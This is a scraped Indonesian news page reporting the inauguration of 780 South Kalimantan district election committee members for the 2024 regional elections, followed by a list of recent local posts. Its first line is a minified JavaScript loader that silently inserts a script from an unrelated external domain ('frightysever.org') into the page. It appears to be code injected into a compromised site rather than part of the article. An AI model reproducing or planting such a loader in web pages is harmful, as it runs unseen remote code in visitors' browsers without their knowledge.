(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan


KANALKALIMANTAN.COM, BANJARBARU – Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik serentak pada Kamis (16/5/2024) kemarin.

Keseluruhan jumlah anggota PPK se Kalsel 780 orang dari 106 kecamatan pada 13 Kabupaten dan Kota. Dimana setiap kecamatan berisi lima anggota PPK.

Komisi Pemilhan Umum (KPU) Kalsel mengingatkan agar anggota PPK yang telah resmi dilantik memegang teguh prinsip-prinsip yang diatur dalam undang-undang.

Hal itu disampaikan Komisioner KPU Kalsel, Fahmi Failasopa saat menghadiri pelantikan PPK di Kota Banjarbaru, Kamis (16/5/2024) malam.

Baca juga: Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

“Menjalankan 11 poin yang sudah mereka nyatakan dalam fakta integritas. Jadi 11 poin itu harus dipegang teguh dalam menjalankan tugas dan kewajiban selama Pilkada 2024,” ingat Fahmi Failasopa.

Fahmi mengatakan bahwa pelantikan PPK ini serentak dilakukan seluruh Indonesia.

Komisioner KPU Kalsel, Fahmi Failasopa. Foto : wanda

“Dan di Kalsel, hanya PPK Banjarmasin dan Banjarbaru  yang melaksanakan pelantikan pada malam hari,” sebut dia.

Secara geografis untuk Kota Banjarbaru tidak ada ditemukan tantangan yang berarti dalam pelaksanaan Pilkada 2024 nanti.

Baca juga: 25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

Namun, karena Banjarbaru sudah sebagai Ibu Kota Provinsi Kalsel, atmosfir pelaksanaan Pilkada 2024 akan berbeda dengan kabupaten dan kota lain.

“Sehingga kami tekankan kepada para anggota PPK untuk menjunjung tinggi integritas dan netralitas. Jangan sampai terpengaruh terhadap oknum yang berupaya memanipulatif,” tegasnya.

PPK mulai bertugas terhitung setelah dilantik hingga 27 Januari 2025 atau kurang lebih 8 bulan masa kerja.

“Kurang lebih 8 bulan, namun bisa ditambah kalau hasil Pilkada ditemukan gugatan di MK, itu bisa ditambah masa kerja hingga dua bulan,” tuntas Fahmi. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.